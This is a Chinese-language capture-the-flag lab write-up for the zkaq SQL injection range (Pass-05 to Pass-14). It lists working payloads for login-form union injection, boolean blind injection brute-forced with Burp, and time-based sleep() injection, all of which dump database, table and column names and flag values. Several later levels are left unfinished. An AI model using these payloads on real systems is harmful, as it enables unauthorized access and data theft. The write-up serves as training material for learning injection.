zkaq-SQL
post注入
post传参类型的注入,与get注入很像。
post注入经常出现在登录框且通常是字符型。
靶场演练
Pass-05
1 | 构造' or 1=1 -- a |
成功登录,判断的我们的输入的数据有被当做SQL语句执行。
构造
1 | ' or 1=1 order by 3 -- a登录成功 |
判断页面有三个字段
暴库名
构造
1 | 'union select 1,2,database() -- a |
暴表名
构造
1 | 'union select 1,2,table_name from information_Schema.tables where table_schema=database() limit 0,1 -- a |
暴字段
构造
1 | 'union select 1,2,column_name from information_Schema.columns where table_schema=database() and table_name='flag' limit 0,1 -- a |
查数据
构造
1 | 'union select 1,2,flag from flag limit 0,1 -- a |
pass-06
构造
1 | ") or 1=1 -- a |
成功登录,判断我们输入的数据能被当做SQL语句执行
构造
1 | ") or 1=1 order by 3 -- a //成功登录 |
判断有3个字段
暴库名
构造
1 | ") union select 1,2,database() -- a |
暴表名
构造
1 | ") union select 1,2,table_name from information_schema.tables where table_schema=database() limit 0,1 -- a |
暴字段
构造
1 | ") union select 1,2,column_name from information_schema.columns where table_schema=database() and table_name='flag' limit 1,1 -- a |
查数据
构造
1 | ") union select 1,2,flag from flag limit 1,1-- a |
head注入
pass-07
俺还不会,先欠着…
pass-08
俺还不会,先欠着…
pass-09
俺还不会,先欠着…
布尔盲注
pass-10
构造
1 | and 1=1 //页面正常 |
页面报错,判断输入的数据能被当做SQL语句执行
页面无显示位
构造
1 | and length(database())>11 //页面正常 |
爆库名
构造
1 | and substr(database(),1,1)='a' |
并用burp抓包进行爆破
得到数据库名为’kanwolongxia’
构造
1 | and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6 //有一张名称长度为6的表 |
爆表名
构造
1 | and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='a' |
并用burp抓包进行爆破
第一张表的表名为loflag
第二张表名为news
第三张表名为user
爆字段
构造
1 | and length((select column_name from information_schema.columns where table_schema=database() and table_name='loflag' limit 0,1))=2 //有一个名称长度为2的字段 |
构造
1 | and substr((select column_name from information_schema.columns where table_schema=database() and table_name='loflag' limit 0,1),1,1)='a' |
并用burp抓包进行爆破
第一个字段名是’id’
第二个字段名是’flaglo’
构造
1 | and ascii(substr((select flaglo from loflag limit 0,1),1,1))='65' |
并用burp抓包爆破
找到数据zKaQ-QQQ
Pass-11
构造
1 | " and 1=1 -- a" //有数据 |
判断输入的数据能被当做SQL语句执行
判断数据库名字长度
构造
1 | " and length(database())=12 -- a" |
有数据,判断数据库名称长度为12
爆库名
构造
1 | "and substr(database(),1,1)='a' -- a |
并用burp抓包,进行爆破
的到数据库库名”kanwolongxia“
爆表明
构造
1 | "and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6 -- a //有一张名称长度为6的表 |
构造
1 | "and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='a' -- a |
并用burp 抓包爆破
第一张表名为“loflag”
第二张表名为“news”
第三张表名为“user”
查字段
构造
1 | "and length((select column_name from information_schema.columns where table_schema=database() and table_name='loflag' limit 0,1))=2 -- a //有一个名称长度为2的字段 |
构造
1 | "and substr((select column_name from information_schema.columns where table_schema=database() and table_name='loflag' limit 0,1),1,1)='a' -- a |
并用burp抓包,爆破字段名
第一个字段是“id”
第二个字段是“flaglo”
查数据
构造
1 | "and ascii(substr((select flaglo from loflag limit 0,1),1,1))='65' -- a //查询flaglo字段下的内容 |
查到数据zKaQ RD 加上缺少的5则flag为“zKaQ-RD”
flag正确
Pass-12
构造
1 | ' or 1=1 -- a //登录成功 |
判断输入的数据可以被当作SQL语句执行
判断数据库名称长度
构造
1 | ' or length(database())=12 -- a //登录成功,判断数据库名长度为12 |
构造
1 | 'or substr(database(),1,1)='a' -- a |
并用burp抓包,爆破出数据库名字
数据库名为”kanwolongxia“
构造
1 | 'or length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6 -- a //有一张名称长度为6的表 |
构造
1 | 'or substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='a' -- a// |
并用burp抓包,进行爆破
第一张表的名字为‘lofalg’
第二张表的名字为‘news’
第三张表的名字为‘user’
构造
1 | 'or length((select column_name from information_schema.columns where table_schema=database() and table_name='loflag' limit 0,1))=2 -- a //有一个名称长度为2的字段 |
构造
1 | 'or substr((select column_name from information_schema.columns where table_schema=database() and table_name='loflag' limit 0,1),1,1)='a' -- a |
并用burp爆破
第一个字段名是‘id’
第一个字段名是‘flaglo’
构造
1 | 'or length((select flaglo from loflag limit 2,1))=10 -- a' //登录成功 |
构造
1 | 'or ascii(substr((select flaglo from loflag limit 0,1),2,1))='65' -- a //查询flaglo字段下的内容 |
得到内容’zKaQMoren’则flag为”zKaQ-Moren“
Pass-10~12总结
Pass-10、Pass-11、Pass-12三题库名一样,表名一样,字段名一样、flaglo字段下面存放的三个flag分别对应Pass-10、Pass-11、Pass-12三题
延时注入
Pass-13
url后面拼接
1 | "and sleep(5) -- a //页面反应有延时,判断存在时间注入 |
构造
1 | "and if(length(database())=12,sleep(5),1) -- a //页面反映有延时,判断数据库名称长度为12 |
构造
1 | "and if(substr(database(),1,1)='k',sleep(5),1) -- a |
bp爆破得到库名为’kanwolongxia’
构造
1 | "and if(length((select table_name from information_schema.tables where table_schema = database() limit 0,1))=6,sleep(5),1) -- a"//页面延时,判断有一个表名长度为6 |
构造
1 | "and if(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),1,1)='a',sleep(5),1) -- a" |
bp爆破
得到三个表名分别为‘loflag’、‘news’、‘uesr’
构造
1 | "and if(length((select column_name from information_schema.columns where table_schema = database() and table_name='loflag' limit 0,1))=2,sleep(5),1) -- a" //页面延时,有一个长度为2的字段 |
构造
1 | "and if(substr((select column_name from information_schema.columns where table_schema = database() and table_name = 'loflag' limit 0,1),1,1)='a',sleep(5),1) -- a" |
bp爆破
两个字段分别为‘id’、‘flaglo’
构造
1 | 构造"and if(ascii(substr((select flaglo from loflag limit 0,1),1,1))=122,sleep(5),1) -- a"" |
bp爆破
得到’zKaQ QQQ’则flag为‘zKaQQQ’
得到‘zKaQ-RD’
得到‘zKaQ-Moren’
得到‘zKaQ-time-hj’
得到‘zKaQ-time-zxxz’
Pass-14
Pass-14与Pass-13只有闭合方式不同,其他的都相同
这里我就偷懒用sqlmap跑了
爆库名
爆表名
爆字段
查数据